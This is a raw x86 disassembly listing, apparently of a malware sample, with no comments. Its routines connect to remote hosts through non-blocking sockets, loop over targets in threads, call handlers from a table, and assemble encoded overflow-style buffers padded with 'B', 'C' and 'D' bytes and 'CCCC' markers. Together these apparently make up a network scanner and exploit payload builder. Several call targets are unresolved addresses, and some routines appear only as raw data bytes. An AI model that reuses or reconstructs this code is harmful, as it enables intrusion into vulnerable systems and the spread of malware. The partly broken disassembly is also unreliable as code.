loc_40C315:				; CODE XREF: sub_40C29A+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4C9450[ecx*8], eax


loc_40C333:				; CODE XREF: sub_40C29A+26j
		pop	esi
		leave
		retn
sub_40C29A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C336	proc near		; CODE XREF: ___:0040BBADp
					; sub_40C3D3+B8p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4C9384
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C35F
		xor	eax, eax
		jmp	short loc_40C3CE
; ---------------------------------------------------------------------------


loc_40C35F:				; CODE XREF: sub_40C336+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4C9304
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C93A0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4C92EC
		push	esi
		mov	edi, eax
		call	dword_4C939C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3CE:				; CODE XREF: sub_40C336+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3D3	proc near		; DATA XREF: sub_40C3D3+34Fo

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 2690861h
		nop
		push	eax
		call	sub_41C058
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C41A:				; CODE XREF: sub_40C3D3+200j
		mov	eax, dword_43C244[ebx]
		cmp	dword_4C9454[eax*8], 0
		jz	loc_40C5D8
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C444
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C29A
		pop	ecx
		jmp	short loc_40C449
; ---------------------------------------------------------------------------


loc_40C444:				; CODE XREF: sub_40C3D3+60j
		call	sub_40C252


loc_40C449:				; CODE XREF: sub_40C3D3+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43C244[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431EBC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43C040[ebx]
		push	eax
		call	sub_41C006
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C336
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_40C5C8
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C51D
		push	offset dword_4CB450
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E94
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C4FF
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C4F3
		lea	eax, [ebp+var_140]


loc_40C4F3:				; CODE XREF: sub_40C3D3+118j
		push	eax
		push	[ebp+var_40]
		call	sub_409862
		add	esp, 14h


loc_40C4FF:				; CODE XREF: sub_40C3D3+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415CEE
		mov	[esp+29Ch+var_29C], offset dword_4CB450
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5C8
; ---------------------------------------------------------------------------


loc_40C51D:				; CODE XREF: sub_40C3D3+CDj
		push	edi
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C006
		mov	eax, [ebp+var_20]
		shl	eax, 6
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C561
		lea	eax, [ebp+var_140]


loc_40C561:				; CODE XREF: sub_40C3D3+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C006
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43180C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5C8:				; CODE XREF: sub_40C3D3+C3j
					; sub_40C3D3+145j
		push	7D0h
		nop
		call	near ptr 2670EE1h
		jmp	loc_40C41A
; ---------------------------------------------------------------------------


loc_40C5D8:				; CODE XREF: sub_40C3D3+55j
		push	esi
		call	sub_40B6C9
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h


loc_40C5E7:				; DATA XREF: sub_401AC7+1F1Ao
					; sub_401AC7+5BC4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4C9344
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4C9450[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD7C
		push	0Bh
		call	sub_40B5F5
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6B5
		mov	esi, offset dword_4CB450
		push	esi
		nop
		call	near ptr 26E074Ch
		push	80000400h
		push	esi
		nop
		call	near ptr 26E05B2h
		test	eax, eax
		jnz	short loc_40C6B5
		lea	eax, [ebp+var_1CC]
		push	offset unk_431FA0
		push	eax
		call	sub_41C006
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C69F
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409862
		add	esp, 14h


loc_40C69F:				; CODE XREF: sub_40C3D3+2ADj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6B5:				; CODE XREF: sub_40C3D3+277j
					; sub_40C3D3+293j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427088
		mov	edi, ebx
		mov	dword_4C9454[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C782


loc_40C6D3:				; CODE XREF: sub_40C3D3+3A9j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F6C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3AD
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43C244[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3D3
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C74D


loc_40C742:				; CODE XREF: sub_40C3D3+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C774
		push	1Eh
		call	esi
		jmp	short loc_40C742
; ---------------------------------------------------------------------------


loc_40C74D:				; CODE XREF: sub_40C3D3+36Dj
		nop
		call	near ptr 26807F9h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F34
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_40C774:				; CODE XREF: sub_40C3D3+372j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6D3


loc_40C782:				; CODE XREF: sub_40C3D3+2FAj
		cmp	[ebp+var_30], ebx
		jz	loc_40C82C
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C797:				; CODE XREF: sub_40C3D3+464j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4C9450[eax*8]
		push	eax
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EF4
		push	eax
		call	sub_41C006
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7E5
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409862
		add	esp, 14h


loc_40C7E5:				; CODE XREF: sub_40C3D3+3F3j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4C9454[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B5F5
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C81C
		push	offset dword_4CB450
		nop
		call	near ptr 26E074Ch


loc_40C81C:				; CODE XREF: sub_40C3D3+43Cj
		push	[ebp+var_2C]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_40C82C:				; CODE XREF: sub_40C3D3+3B2j
					; sub_40C3D3+471j
		mov	eax, [ebp+var_2C]
		cmp	dword_4C9454[eax*8], 1
		jnz	loc_40C797
		push	7D0h
		call	esi
		jmp	short loc_40C82C
sub_40C3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C846	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4C9304
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4C9384
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C904
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4C92AC
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43C24C[ecx], esi
		jz	short loc_40C904
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4C9390
		push	eax
		mov	edi, offset dword_4CBE14
		push	offset dword_431FD4
		push	edi
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409862
		push	edi
		call	sub_415CEE
		add	esp, 28h


loc_40C904:				; CODE XREF: sub_40C846+5Dj
					; sub_40C846+7Ej
		push	esi
		call	dword_4C939C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C846	endp

; ---------------------------------------------------------------------------
byte_40C913	db 55h			; DATA XREF: sub_401AC7+5FA4o
		dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh
		dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h
		dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh
		dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	43C04005h, 0F1E85000h
		dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch,	46685057h
		dd 570040C8h, 65E89057h, 3B022736h, 0FC4589C7h,	7D390B74h
		dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 3B85E890h, 0B3FF0225h
		dd 8Ch,	0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h
		dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h
		dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h
		dd 100B4h, 0E90CC483h, 0FFFFFF3Dh
dword_40CA04	dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401AC7+5CCAo
		dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh,	8D50004Ch, 0FFFED085h
		dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh
		dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h
		dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh
		dd 40C846h, 0E8905757h,	2273574h, 4589C73Bh, 390B7408h
		dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 94E89008h, 0FF02253Ah
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh
		dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch
		dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h
		dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h
		dd 4C2C95Bh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB11	proc near		; CODE XREF: sub_40CD85+Ep
					; sub_40CD85+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB11	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB1B	proc near		; CODE XREF: sub_40CD85+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB4D
		push	ebx
		push	0
		push	edi
		call	sub_41BD10
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CAB0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB4D:				; CODE XREF: sub_40CB1B+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB55	proc near		; CODE XREF: sub_40CC4F+18p
					; sub_40CCC9+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBA1
		push	edi
		push	0
		push	esi
		call	sub_41BD10
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CAB0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBA1:				; CODE XREF: sub_40CB55+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBAA	proc near		; CODE XREF: sub_40CC4F+5Ep
					; sub_40CC4F+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBBA
		push	eax
		call	sub_41BA31
		pop	ecx


loc_40CBBA:				; CODE XREF: sub_40CBAA+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC4F+20p
					; sub_40CD2A+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CBF0
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CBF4


loc_40CBF0:				; CODE XREF: sub_40CBC3+Dj
		xor	al, al
		jmp	short loc_40CC4B
; ---------------------------------------------------------------------------


loc_40CBF4:				; CODE XREF: sub_40CBC3+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BD10
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC19
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC33
; ---------------------------------------------------------------------------


loc_40CC19:				; CODE XREF: sub_40CBC3+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC33:				; CODE XREF: sub_40CBC3+54j
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA31
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC4B:				; CODE XREF: sub_40CBC3+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC4F	proc near		; CODE XREF: sub_40CD85+89p
					; sub_40CD85+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4C91BC
		call	sub_40CB55
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BC9B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC89
		xor	al, al
		jmp	short loc_40CCC5
; ---------------------------------------------------------------------------


loc_40CC89:				; CODE XREF: sub_40CC4F+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BD10
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CAB0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBAA
		mov	al, 1


loc_40CCC5:				; CODE XREF: sub_40CC4F+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCC9	proc near		; CODE XREF: sub_40CCFD+14p
					; sub_40CD1A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB55
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCFD	proc near		; CODE XREF: sub_40CD85+F0p
					; sub_40CD85+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B960
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCC9
		pop	esi
		retn	4
sub_40CCFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD1A	proc near		; CODE XREF: sub_40CD66+Bp
					; sub_40CD85+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCC9
		retn	8
sub_40CD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD2A	proc near		; CODE XREF: sub_40CD66+16p
					; sub_40CD85+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBC3
		test	al, al
		jz	short loc_40CD63
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC8C
		call	sub_40CB55
		mov	ecx, esi
		call	sub_40CBAA
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD63:				; CODE XREF: sub_40CD2A+Fj
		pop	esi
		leave
		retn
sub_40CD2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD66	proc near		; CODE XREF: sub_40CD85+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD1A
		test	al, al
		jz	short loc_40CD81
		mov	ecx, esi
		call	sub_40CD2A


loc_40CD81:				; CODE XREF: sub_40CD66+12j
		pop	esi
		retn	8
sub_40CD66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD85	proc near		; CODE XREF: ___:0040D60Cp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB11
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0D9
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0D9
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB11
		lea	ecx, [ebp+var_20]
		call	sub_40CB11
		lea	ecx, [ebp+var_50]
		call	sub_40CB11
		lea	ecx, [ebp+var_18]
		call	sub_40CB11
		lea	ecx, [ebp+var_40]
		call	sub_40CB11
		lea	ecx, [ebp+var_38]
		call	sub_40CB11
		lea	ecx, [ebp+var_28]
		call	sub_40CB11
		push	4
		push	offset dword_432088
		lea	ecx, [ebp+var_30]
		call	sub_40CCC9
		push	3
		push	offset dword_432090
		lea	ecx, [ebp+var_30]
		call	sub_40CCC9
		lea	ecx, [ebp+var_30]
		call	sub_40CC4F
		lea	ecx, [ebp+var_30]
		call	sub_40CD2A
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CCC9
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCC9
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CCC9
		lea	ecx, [ebp+var_20]
		call	sub_40CC4F
		push	offset loc_43240C
		lea	ecx, [ebp+var_50]
		call	sub_40CCFD
		lea	ecx, [ebp+var_50]
		call	sub_40CC4F
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB1B
		lea	ecx, [ebp+var_58]
		call	sub_40CC4F
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD66
		lea	ecx, [ebp+var_58]
		call	sub_40CBAA
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CCFD
		push	4
		push	offset dword_432094
		lea	ecx, [ebp+var_18]
		call	sub_40CCC9
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCC9
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCC9
